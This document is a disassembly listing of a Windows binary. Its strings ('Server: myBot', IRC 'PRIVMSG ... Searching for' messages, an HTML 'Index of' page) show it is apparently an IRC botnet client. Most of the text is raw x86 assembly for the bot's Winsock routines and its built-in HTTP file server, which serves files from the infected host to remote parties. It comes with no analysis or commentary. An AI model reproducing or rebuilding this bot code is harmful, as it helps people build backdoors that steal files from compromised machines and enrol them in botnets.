dd 4CB654h, 0B6458966h, 6AB4458Dh, 90575010h, 6A5481E8h
dd 7DC08571h, 0E9C38B07h, 560h, 90570A6Ah, 6A7381E8h, 0D49D8971h
dd 8BFFFFFDh, 4272241Dh, 0D8BD8900h, 89FFFFFDh, 416AFC7Dh
dd 0FDD4B58Dh, 8D59FFFFh, 0FFFBC4BDh, 33A5F3FFh, 0C4858DF6h
dd 56FFFFFBh, 8B505656h, 5040FC45h, 2DF2E890h, 0F883716Ah
dd 0E840FFFh, 33000005h, 0FC7539FFh, 7C087D89h, 6AF633C5h
dd 60858D64h, 56FFFFFDh, 0CACEE850h, 646A0000h, 0FF50858Dh
dd 5056FFFFh, 0CABFE8h, 18C48300h, 0FBC4858Dh, 5750FFFFh
dd 17C75E8h, 0FC08500h, 4BA84h, 0F87D3B00h, 458D7A75h
dd 0F045C7F0h, 10h, 0C4858D50h, 50FFFFFDh, 90F875FFh, 6A9B84E8h
dd 0FFF88371h, 491840Fh, 0C9330000h, 0FDD4B539h, 1676FFFFh
dd 0FDD8958Dh, 239FFFFh, 83410C74h, 8D3B04C2h, 0FFFFFDD4h
dd 8D3BF072h, 0FFFFFDD4h, 0BD831675h, 0FFFFFDD4h, 890D7340h
dd 0FDD88D84h, 85FFFFFFh, 0FFFFFDD4h, 7EFC453Bh, 0FC458903h
dd 68156A56h, 433ED4h, 0E9D3FF50h, 43Bh, 60858D56h, 6AFFFFFDh
dd 0E8575064h, 716A6B18h, 7FC08590h, 0D4958B52h, 33FFFFFDh
dd 76D63BC9h, 0D8858D3Ah, 39FFFFFDh, 410A7438h, 3B04C083h
dd 0EBF472CAh, 0CA3B4A26h, 848D1B73h, 0FFFDD88Dh, 4508BFFh
dd 8B108941h, 0FFFDD495h, 4C083FFh, 72CA3B4Ah, 0D48DFFECh
dd 57FFFFFDh, 6A2EA4E8h, 0D4E99071h, 8D000003h, 0FFFCC885h
dd 858D50FFh, 0FFFFFF50h, 60858D50h, 68FFFFFDh, 433ECCh
dd 0DA57E850h, 858D0000h, 0FFFFFF50h, 433EC468h, 71E85000h
dd 830000D4h, 0C08518C4h, 6A560D75h, 3EAC6816h, 82E90043h
dd 8D000000h, 0FFFF5085h, 3EA468FFh, 0E8500043h, 0D44Ch
dd 59C08559h, 6A560A75h, 3E8C6814h, 61EB0043h, 0FF50858Dh
dd 8468FFFFh, 5000433Eh, 0D42BE8h, 0C0855900h, 560A7559h
dd 74680D6Ah, 0EB00433Eh, 50858D40h, 68FFFFFFh, 433E6Ch
dd 0D40AE850h, 85590000h, 0A7559C0h, 68106A56h, 433E58h
dd 858D1FEBh, 0FFFFFF50h, 433E5468h, 0E9E85000h, 590000D3h
dd 7559C085h, 1E6A560Eh, 433E3468h, 0F1E95700h, 0BF000002h
dd 433E2Ch, 0FF50858Dh, 5057FFFFh, 0D3C3E8h, 0C0855900h
dd 8D247559h, 0FFFCC885h, 3E2868FFh, 0E8500043h, 0D3ACh
dd 59C08559h, 6A560D75h, 3E146813h, 0B2E90043h, 8D000002h
dd 0FFFF5085h, 0E85057FFh, 0D38Ch, 59C08559h, 858D2475h
dd 0FFFFFCC8h, 433E1068h, 75E85000h, 590000D3h, 7559C085h
dd 136A560Dh, 433DFC68h, 27BE900h, 858D0000h, 0FFFFFF50h
dd 433DF468h, 51E85000h, 590000D3h, 7559C085h, 0BE0A6A34h
dd 433DC8h, 0D8BD8D59h, 0F3FFFFFEh, 858D50A5h, 0FFFFFED8h
dd 0E8A56650h, 0C29Ch, 858D5059h, 0FFFFFED8h, 875FF50h
dd 0F633D3FFh, 235E9h, 50858D00h, 68FFFFFFh, 433DC0h, 0D306E850h
dd 85590000h, 2A7559C0h, 0A8BE056Ah, 5900433Dh, 0FF38BD8Dh
dd 0A5F3FFFFh, 8D50A566h, 0FFFF3885h, 0E8A450FFh, 0C250h
dd 858D5059h, 0FFFFFF38h, 858DB2EBh, 0FFFFFF50h, 433DA068h
dd 0C5E85000h, 590000D2h, 0F59C085h, 0B685h, 2C858D00h
dd 50FFFFFDh, 0FF04858Dh, 8D50FFFFh, 8D50EC45h, 8D50E845h
dd 8D50E045h, 8D50D845h, 0FFFD6085h, 3D7868FFh, 0E8500043h
dd 0D861h, 0FF04858Dh, 0E850FFFFh, 0C989h, 858DF88Bh, 0FFFFFD2Ch
dd 0C97BE850h, 45890000h, 8D326AF4h, 0FFFF0485h, 0E85056FFh
dd 0C780h, 8D34C483h, 0FFFF0485h, 0F475FFFFh, 3D706857h
dd 0E8500043h, 0CA5Eh, 858D106Ah, 0FFFFFF04h, 8EE85056h
dd 830000CFh, 45891CC4h, 0EC458DF4h, 0E8458D50h, 0E0458D50h
dd 0D8458D50h, 0C4458D50h, 433D6468h, 2BE85000h, 830000CAh
dd 6A5618C4h, 3D44681Dh, 1EE90043h, 8D000001h, 0FFFF5085h
dd 3D3C68FFh, 0E8500043h, 0D1F4h, 59C08559h, 0E4850Fh
dd 6A560000h, 3D106828h, 75FF0043h, 0FFD3FF08h, 458DF475h
dd 20E850C4h, 59000001h, 5901F883h, 0B6850Fh, 458D0000h
dd 858D50C4h, 0FFFFF720h, 433CF468h, 0C7E85000h, 830000C9h
dd 0B5390CC4h, 0FFFFFBBCh, 8D562375h, 0FFF72085h, 0B8B5FFFFh
dd 50FFFFFBh, 0FB38858Dh, 0FF50FFFFh, 0FFF920B5h, 0AB89E8FFh
dd 0C483FFFFh, 14AE814h, 0F8830000h, 93850F01h, 56000000h
dd 0DC68176Ah, 0FF00433Ch, 0D3FF0875h, 50C4458Dh, 0F720858Dh
dd 0BC68FFFFh, 5000433Ch, 0C969E8h, 0CC48300h, 0FBBCB539h
dd 2375FFFFh, 20858D56h, 0FFFFFFF7h, 0FFFBB8B5h, 858D50FFh
dd 0FFFFFB38h, 20B5FF50h, 0E8FFFFF9h, 0FFFFAB2Bh, 8D14C483h
dd 0FFF72085h, 56E850FFh, 0FF000062h, 4CE16005h, 2EEB5900h
dd 68206A56h, 433C98h, 858D1FEBh, 0FFFFFF50h, 42D08468h
dd 0F5E85000h, 590000D0h, 7559C085h, 1B6A560Dh, 433C7C68h
dd 875FF00h, 646AD3FFh, 0FD60858Dh, 5056FFFFh, 0C5F3E8h
dd 87D8B00h, 470CC483h, 89FC7D3Bh, 8E0F087Dh, 0FFFFFB01h
dd 0FFFAC1E9h, 58016AFFh, 0C95B5E5Fh
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp-1A0h]
push eax
push 101h
call near ptr 71AB41DAh
nop
push 0
push 1
push 2
nop
call near ptr 71AB3C22h
push dword ptr [ebp+8]
mov dword_4CE3A8, eax
mov word ptr [ebp-10h], 2
nop
call near ptr 71AB12F8h
push dword ptr [ebp+0Ch]
mov [ebp-0Ch], eax
nop
call near ptr 71AB1746h
mov [ebp-0Eh], ax
lea eax, [ebp-10h]
push 10h
push eax
push dword_4CE3A8
nop
call near ptr 71AB3E5Dh
cmp eax, 0FFFFFFFFh
jnz short loc_40F037
push dword_4CE3A8
nop
call near ptr 71AB1A6Dh
nop
call near ptr 71AB1836h
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40F037: ; CODE XREF: ___:0040F01Fj
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 504h
push esi
lea eax, [ebp-104h]
push 104h
push eax
push 0
nop
call near ptr 2670000h
lea eax, [ebp-104h]
push offset dword_429068
push eax
call sub_41B4C2
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_40F0D3
test byte ptr [esi+0Ch], 10h
jnz short loc_40F0B7
push edi
mov edi, 400h
loc_40F07F: ; CODE XREF: ___:0040F0B4j
push esi
push 1
lea eax, [ebp-504h]
push edi
push eax
call sub_41B11A
add esp, 10h
lea eax, [ebp-504h]
push 0
push edi
push eax
push dword_4CE3A8
nop
call near ptr 71AB1AF4h
push 1
nop
call near ptr 2680000h
test byte ptr [esi+0Ch], 10h
jz short loc_40F07F
pop edi
loc_40F0B7: ; CODE XREF: ___:0040F077j
push esi
call sub_41B05B
pop ecx
push dword_4CE3A8
nop
call near ptr 71AB1A6Dh
call near ptr 71AB1836h
nop
push 1
pop eax
loc_40F0D3: ; CODE XREF: ___:0040F071j
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F0D6 proc near ; DATA XREF: sub_401ACD+2284o
; sub_40BACE+475o
var_28F0 = byte ptr -28F0h
var_18F0 = byte ptr -18F0h
var_8F0 = byte ptr -8F0h
var_6F0 = byte ptr -6F0h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_360 = byte ptr -360h
var_25C = dword ptr -25Ch
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_23C = byte ptr -23Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_34 = byte ptr -34h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 28F0h
call sub_41BB20
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_5EC]
push 1
rep movsd
pop esi
xor ebx, ebx
mov [eax+3ACh], esi
push 10h
lea eax, [ebp+var_24]
push ebx
push eax
mov [ebp+var_14], esi
call sub_41B590
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+var_25C]
call dword_4CB654
push ebx
push esi
push 2
mov [ebp+var_22], ax
mov [ebp+var_20], ebx
call dword_4CB6D4
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_C], edi
jz loc_40F4C1
mov eax, [ebp+var_254]
push 10h
imul eax, 234h
mov dword_43E59C[eax], edi
lea eax, [ebp+var_24]
push eax
push edi
call dword_4CB680
cmp eax, 0FFFFFFFFh
jz loc_40F4C1
push 7FFFFFFFh
push edi
call dword_4CB67C
cmp eax, 0FFFFFFFFh
jz loc_40F4C1
lea eax, [ebp+var_14]
push eax
push 8004667Eh
push edi
call dword_4CB6F0
cmp eax, 0FFFFFFFFh
jz loc_40F4C1
mov ebx, esi
mov [ebp+var_134], edi
mov [ebp+var_138], ebx
mov [ebp+var_8], edi
loc_40F1AD: ; CODE XREF: sub_40F0D6+3E1j
push 41h
xor eax, eax
pop ecx
lea esi, [ebp+var_138]
push eax
push eax
push eax
lea eax, [ebp+var_6F0]
push eax
mov eax, [ebp+var_8]
lea edi, [ebp+var_6F0]
inc eax
rep movsd
push eax
call dword_4CB63C
cmp eax, 0FFFFFFFFh
jz loc_40F4BC
xor esi, esi
mov [ebp+var_4], esi
loc_40F1E3: ; CODE XREF: sub_40F0D6+3DBj
lea eax, [ebp+var_6F0]
push eax
push esi
call dword_4CB540
test eax, eax
jz loc_40F4A7
cmp esi, [ebp+var_C]
jnz short loc_40F265
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_34]
push eax
push [ebp+var_C]
call dword_4CB6E8
cmp eax, 0FFFFFFFFh
jz loc_40F4A7
xor ecx, ecx
test ebx, ebx
jbe short loc_40F237
lea edx, [ebp+var_134]
loc_40F22B: ; CODE XREF: sub_40F0D6+15Fj
cmp [edx], eax
jz short loc_40F237
inc ecx
add edx, 4
cmp ecx, ebx
jb short loc_40F22B
loc_40F237: ; CODE XREF: sub_40F0D6+14Dj
; sub_40F0D6+157j
cmp ecx, ebx
jnz short loc_40F254
cmp ebx, 40h
jnb short loc_40F254
mov [ebp+ecx*4+var_134], eax
mov ebx, [ebp+var_138]
inc ebx
mov [ebp+var_138], ebx
loc_40F254: ; CODE XREF: sub_40F0D6+163j
; sub_40F0D6+168j
cmp eax, [ebp+var_8]
jbe loc_40F4A7
mov [ebp+var_8], eax
jmp loc_40F4A7
; ---------------------------------------------------------------------------
loc_40F265: ; CODE XREF: sub_40F0D6+126j
mov edi, 1000h
lea eax, [ebp+var_28F0]
push edi
push 0
push eax
call sub_41B590
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_41B590
add esp, 18h
lea eax, [ebp+var_28F0]
push 0
push edi
push eax
push esi
call dword_4CB66C
test eax, eax
jg short loc_40F2F8
push esi
call dword_4CB6EC
xor ecx, ecx
test ebx, ebx
jbe loc_40F4A7
lea eax, [ebp+var_134]
loc_40F2B7: ; CODE XREF: sub_40F0D6+1EBj
cmp [eax], esi
jz short loc_40F2C8
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_40F2B7
jmp loc_40F4A7
; ---------------------------------------------------------------------------
loc_40F2C8: ; CODE XREF: sub_40F0D6+1E3j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_40F2EC
lea eax, [ebp+ecx*4+var_134]
loc_40F2D6: ; CODE XREF: sub_40F0D6+214j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_40F2D6
loc_40F2EC: ; CODE XREF: sub_40F0D6+1F7j
dec ebx
mov [ebp+var_138], ebx
jmp loc_40F4A7
; ---------------------------------------------------------------------------
loc_40F2F8: ; CODE XREF: sub_40F0D6+1C8j
xor esi, esi
push 104h
lea eax, [ebp+var_23C]
push esi
push eax
call sub_41B590
lea eax, [ebp+var_28F0]
mov [ebp+arg_0], esi
push eax
call sub_41AFE0
add esp, 10h
test eax, eax
jbe loc_40F4A7
loc_40F326: ; CODE XREF: sub_40F0D6+309j
mov eax, [ebp+arg_0]
mov al, [ebp+eax+var_28F0]
cmp al, 0Ah
mov [ebp+esi+var_18F0], al
jnz loc_40F3CB
mov esi, offset aGet_0 ; "GET "
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_40F39F
lea eax, [ebp+var_18F0]
push eax
call sub_41AFE0
cmp eax, 5
pop ecx
jbe short loc_40F39F
mov eax, offset asc_42D124 ; " "
push eax
push eax
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_41B900
pop ecx
pop ecx
push eax
call sub_41B900
pop ecx
pop ecx
push eax
call sub_41C0F4
push eax
lea eax, [ebp+var_23C]
push eax
call sub_41BEB0
add esp, 10h
jmp short loc_40F3B6
; ---------------------------------------------------------------------------
loc_40F39F: ; CODE XREF: sub_40F0D6+27Fj
; sub_40F0D6+291j
lea eax, [ebp+var_18F0]
push offset asc_433F14 ; "\r\n"
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_40F3EA
loc_40F3B6: ; CODE XREF: sub_40F0D6+2C7j
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_41B590
add esp, 0Ch
or esi, 0FFFFFFFFh
loc_40F3CB: ; CODE XREF: sub_40F0D6+263j
inc [ebp+arg_0]
lea eax, [ebp+var_28F0]
push eax
inc esi
call sub_41AFE0
cmp [ebp+arg_0], eax
pop ecx
jb loc_40F326
jmp loc_40F4A7
; ---------------------------------------------------------------------------
loc_40F3EA: ; CODE XREF: sub_40F0D6+2DEj
xor ecx, ecx
test ebx, ebx
jbe short loc_40F434
lea eax, [ebp+var_134]
loc_40F3F6: ; CODE XREF: sub_40F0D6+32Dj
mov esi, [ebp+var_4]
cmp [eax], esi
jz short loc_40F407
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_40F3F6
jmp short loc_40F437
; ---------------------------------------------------------------------------
loc_40F407: ; CODE XREF: sub_40F0D6+325j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_40F42B
lea eax, [ebp+ecx*4+var_134]
loc_40F415: ; CODE XREF: sub_40F0D6+353j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_40F415
loc_40F42B: ; CODE XREF: sub_40F0D6+336j
dec ebx
mov [ebp+var_138], ebx
jmp short loc_40F437
; ---------------------------------------------------------------------------
loc_40F434: ; CODE XREF: sub_40F0D6+318j
mov esi, [ebp+var_4]
loc_40F437: ; CODE XREF: sub_40F0D6+32Fj
; sub_40F0D6+35Cj
lea eax, [ebp+var_23C]
test eax, eax
jz short loc_40F4A0
lea eax, [ebp+var_360]
push eax
call sub_41AFE0
mov edi, eax
lea eax, [ebp+var_23C]
push eax
call sub_41AFE0
add edi, eax
pop ecx
cmp edi, 104h
pop ecx
jnb short loc_40F4A0
and [ebp+arg_0], 0
lea eax, [ebp+arg_0]
push eax
push 8004667Eh
push esi
call dword_4CB6F0
push [ebp+var_254]
lea eax, [ebp+var_23C]
push [ebp+var_248]
push eax
lea eax, [ebp+var_360]
push eax
push esi
call sub_40F6B4
add esp, 14h
jmp short loc_40F4A7
; ---------------------------------------------------------------------------
loc_40F4A0: ; CODE XREF: sub_40F0D6+369j
; sub_40F0D6+38Fj
push esi
call dword_4CB6EC
loc_40F4A7: ; CODE XREF: sub_40F0D6+11Dj
; sub_40F0D6+143j ...
mov esi, [ebp+var_4]
inc esi
cmp esi, [ebp+var_8]
mov [ebp+var_4], esi
jbe loc_40F1E3
jmp loc_40F1AD
; ---------------------------------------------------------------------------
loc_40F4BC: ; CODE XREF: sub_40F0D6+102j
mov edi, [ebp+var_C]
xor ebx, ebx
loc_40F4C1: ; CODE XREF: sub_40F0D6+6Aj
; sub_40F0D6+92j ...
call dword_4CB5E8
push eax
lea eax, [ebp+var_8F0]
push offset unk_433EEC
push eax
call sub_41B886
add esp, 0Ch
cmp [ebp+var_24C], ebx
jnz short loc_40F507
push ebx
lea eax, [ebp+var_8F0]
push [ebp+var_250]
push eax
lea eax, [ebp+var_5E8]
push eax
push [ebp+var_5EC]
call sub_409A73
add esp, 14h
loc_40F507: ; CODE XREF: sub_40F0D6+40Cj
lea eax, [ebp+var_8F0]
push eax
call sub_4151AD
pop ecx
push edi
call dword_4CB6EC
push [ebp+var_254]
call sub_40B413
pop ecx
push ebx
call near ptr 26E0000h
nop
pop edi
pop esi
pop ebx
sub_40F0D6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F531 proc near ; DATA XREF: sub_40F6B4+24Do
var_1654 = byte ptr -1654h
var_654 = byte ptr -654h
var_550 = byte ptr -550h
var_44C = dword ptr -44Ch
var_3C8 = byte ptr -3C8h
var_2C4 = byte ptr -2C4h
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_A4 = dword ptr -0A4h
var_9C = byte ptr -9Ch
var_68 = byte ptr -68h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1654h
call sub_41BB20
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_44C]
rep movsd
mov dword ptr [eax+3ACh], 1
lea eax, [ebp+var_3C8]
push eax
lea eax, [ebp+var_550]
push eax
call sub_41B886
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push eax
lea eax, [ebp+var_654]
push eax
call sub_41B886
xor edi, edi
pop ecx
cmp [ebp+var_A4], edi
pop ecx
jz short loc_40F597
push offset aTextHtml ; "text/html"
jmp short loc_40F59C
; ---------------------------------------------------------------------------
loc_40F597: ; CODE XREF: sub_40F531+5Dj
push offset aApplicationOct ; "application/octet-stream"
loc_40F59C: ; CODE XREF: sub_40F531+64j
lea eax, [ebp+var_9C]
push eax
call sub_41B886
pop ecx
lea eax, [ebp+var_68]
pop ecx
mov esi, 409h
push 46h
push eax
push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy"
push edi
push edi
push esi
nop
call near ptr 2730000h
lea eax, [ebp+var_20]
push 1Eh
push eax
push offset aHhMmSs ; "HH:mm:ss"
push edi
push edi
push esi
call near ptr 2721327h
nop
lea eax, [ebp+var_20]
cmp [ebp+var_B8], 0FFFFFFFFh
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
jnz short loc_40F615
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_41B886
add esp, 24h
jmp short loc_40F636
; ---------------------------------------------------------------------------
loc_40F615: ; CODE XREF: sub_40F531+C5j
push [ebp+var_B8]
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_41B886
add esp, 28h
loc_40F636: ; CODE XREF: sub_40F531+E2j
lea eax, [ebp+var_1654]
push edi
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_1654]
push eax
push [ebp+var_44C]
call dword_4CB6A4
cmp [ebp+var_A4], edi
jnz short loc_40F676
lea eax, [ebp+var_550]
push eax
push [ebp+var_44C]
call sub_40FFF1
pop ecx
pop ecx
jmp short loc_40F693
; ---------------------------------------------------------------------------
loc_40F676: ; CODE XREF: sub_40F531+12Dj
lea eax, [ebp+var_654]
push eax
push edi
push [ebp+var_44C]
lea eax, [ebp+var_550]
push eax
call sub_40F96B
add esp, 10h
loc_40F693: ; CODE XREF: sub_40F531+143j
push [ebp+var_44C]
call dword_4CB6EC
push [ebp+var_B4]
call sub_40B413
pop ecx
push edi
nop
call near ptr 26E0000h
pop edi
pop esi
sub_40F531 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F6B4 proc near ; CODE XREF: sub_40F0D6+3C0p
var_8C4 = byte ptr -8C4h
var_6C4 = dword ptr -6C4h
var_640 = byte ptr -640h
var_53C = byte ptr -53Ch
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
var_314 = byte ptr -314h
var_211 = byte ptr -211h
var_210 = byte ptr -210h
var_10C = byte ptr -10Ch
var_10B = byte ptr -10Bh
var_10A = byte ptr -10Ah
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 8C4h
push ebx
push esi
push edi
xor edi, edi
push 104h
lea eax, [ebp+var_210]
push edi
push eax
mov [ebp+var_4], edi
call sub_41B590
mov eax, [ebp+arg_8]
add esp, 0Ch
cmp byte ptr [eax], 2Fh
jz short loc_40F6EA
push eax
push offset aS_3 ; "\\%s"
jmp short loc_40F6F3
; ---------------------------------------------------------------------------
loc_40F6EA: ; CODE XREF: sub_40F6B4+2Cj
push eax
mov byte ptr [eax], 5Ch
push offset aS_1 ; "%s"
loc_40F6F3: ; CODE XREF: sub_40F6B4+34j
lea eax, [ebp+var_10C]
push eax
call sub_41B886
add esp, 0Ch
lea eax, [ebp+var_10C]
xor esi, esi
xor ebx, ebx
push eax
call sub_41AFE0
test eax, eax
pop ecx
jbe short loc_40F78E
mov [ebp+arg_8], 2
loc_40F71E: ; CODE XREF: sub_40F6B4+D8j
lea eax, [ebp+var_10C]
push eax
call sub_41AFE0
cmp [ebp+arg_8], eax
pop ecx
jnb short loc_40F75E
cmp [ebp+esi+var_10C], 25h
jnz short loc_40F75E
cmp [ebp+esi+var_10B], 32h
jnz short loc_40F75E
cmp [ebp+esi+var_10A], 30h
jnz short loc_40F75E
inc esi
mov [ebp+ebx+var_210], 20h
inc esi
add [ebp+arg_8], 2
jmp short loc_40F778
; ---------------------------------------------------------------------------
loc_40F75E: ; CODE XREF: sub_40F6B4+7Aj
; sub_40F6B4+84j ...
mov al, [ebp+esi+var_10C]
cmp al, 2Fh
jnz short loc_40F76E
push 5Ch
pop eax
jmp short loc_40F771
; ---------------------------------------------------------------------------
loc_40F76E: ; CODE XREF: sub_40F6B4+B3j
movsx eax, al
loc_40F771: ; CODE XREF: sub_40F6B4+B8j
mov [ebp+ebx+var_210], al
loc_40F778: ; CODE XREF: sub_40F6B4+A8j
lea eax, [ebp+var_10C]
inc esi
inc [ebp+arg_8]
push eax
inc ebx
call sub_41AFE0
cmp esi, eax
pop ecx
jb short loc_40F71E
loc_40F78E: ; CODE XREF: sub_40F6B4+61j
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_314]
push [ebp+arg_4]
push offset dword_429ACC
push eax
call sub_41B886
lea eax, [ebp+var_314]
push offset asc_42A0A0 ; "\n"
push eax
call sub_41C0F4
add esp, 18h
lea eax, [ebp+var_314]
push eax
call near ptr 2690000h
nop
push 1
cmp eax, 10h
pop esi
jz short loc_40F7DF
cmp eax, 0FFFFFFFFh
jnz short loc_40F7E2
push [ebp+arg_0]
jmp loc_40F862
; ---------------------------------------------------------------------------
loc_40F7DF: ; CODE XREF: sub_40F6B4+11Cj
mov [ebp+var_4], esi
loc_40F7E2: ; CODE XREF: sub_40F6B4+121j
cmp [ebp+ebx+var_211], 5Ch
jnz short loc_40F7EF
mov [ebp+var_4], esi
loc_40F7EF: ; CODE XREF: sub_40F6B4+136j
mov ebx, [ebp+arg_0]
cmp [ebp+var_4], edi
mov [ebp+var_6C4], ebx
mov [ebp+var_318], edi
jz short loc_40F86D
cmp [ebp+arg_C], edi
jz short loc_40F861
lea eax, [ebp+var_314]
push offset asc_4341A0 ; "*"
push eax
call sub_41BEC0
pop ecx
lea eax, [ebp+var_314]
pop ecx
push eax
lea eax, [ebp+var_640]
push eax
call sub_41B886
lea eax, [ebp+var_210]
push eax
call sub_4100AE
add esp, 0Ch
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_53C]
push eax
call sub_41B886
or [ebp+var_330], 0FFFFFFFFh
pop ecx
pop ecx
mov [ebp+var_31C], esi
jmp short loc_40F8BC
; ---------------------------------------------------------------------------
loc_40F861: ; CODE XREF: sub_40F6B4+152j
push ebx
loc_40F862: ; CODE XREF: sub_40F6B4+126j
call dword_4CB6EC
jmp loc_40F964
; ---------------------------------------------------------------------------
loc_40F86D: ; CODE XREF: sub_40F6B4+14Dj
push edi
push edi
push 3
push edi
push esi
lea eax, [ebp+var_314]
push 80000000h
push eax
call near ptr 27009D7h
nop
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40F8BC
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_41B886
pop ecx
mov [ebp+var_31C], edi
pop ecx
push edi
push esi
call near ptr 27309A1h
nop
push esi
mov [ebp+var_330], eax
call near ptr 2660919h
nop
loc_40F8BC: ; CODE XREF: sub_40F6B4+1ABj
; sub_40F6B4+1D6j
mov esi, [ebp+arg_10]
lea eax, [ebp+var_8C4]
push esi
push offset unk_43416C
push eax
call sub_41B886
push edi
lea eax, [ebp+var_8C4]
push 3
push eax
call sub_40B0F7
mov [ebp+var_32C], eax
imul eax, 234h
add esp, 18h
mov dword_43E594[eax], esi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_6C4]
push edi
push eax
push offset sub_40F531
push edi
push edi
nop
call near ptr 2680098h
mov ecx, [ebp+var_32C]
imul ecx, 234h
cmp eax, edi
mov dword_43E5A4[ecx], eax
jz short loc_40F936
loc_40F924: ; CODE XREF: sub_40F6B4+280j
cmp [ebp+var_318], edi
jnz short loc_40F964
push 5
nop
call near ptr 2680000h
jmp short loc_40F924
; ---------------------------------------------------------------------------
loc_40F936: ; CODE XREF: sub_40F6B4+26Ej
push ebx
call dword_4CB6EC
nop
call near ptr 2680ABEh
push eax
lea eax, [ebp+var_8C4]
push offset unk_434134
push eax
call sub_41B886
lea eax, [ebp+var_8C4]
push eax
call sub_4151AD
add esp, 10h
loc_40F964: ; CODE XREF: sub_40F6B4+1B4j
; sub_40F6B4+276j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_40F6B4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F96B proc near ; CODE XREF: sub_401ACD+777Bp
; sub_40F531+15Ap
var_594 = byte ptr -594h
var_490 = byte ptr -490h
var_388 = dword ptr -388h
var_374 = byte ptr -374h
var_368 = dword ptr -368h
var_35C = byte ptr -35Ch
var_248 = byte ptr -248h
var_48 = byte ptr -48h
var_20 = byte ptr -20h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_12 = word ptr -12h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 594h
push ebx
push esi
push edi
xor ebx, ebx
push 104h
lea eax, [ebp+var_594]
push ebx
push eax
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
call sub_41B590
mov edi, [ebp+arg_0]
push offset asc_42A0A0 ; "\n"
push edi
call sub_41C0F4
add esp, 14h
cmp [ebp+arg_8], ebx
jz short loc_40F9CA
push edi
mov esi, 200h
push [ebp+arg_8]
lea eax, [ebp+var_248]
push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n"
push esi
push eax
call sub_41B980
add esp, 14h
jmp loc_40FAC9
; ---------------------------------------------------------------------------
loc_40F9CA: ; CODE XREF: sub_40F96B+3Aj
cmp [ebp+arg_C], ebx
push edi
jz loc_40FAAF
call sub_41AFE0
pop ecx
mov [eax+edi-1], bl
push edi
mov esi, 200h
push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
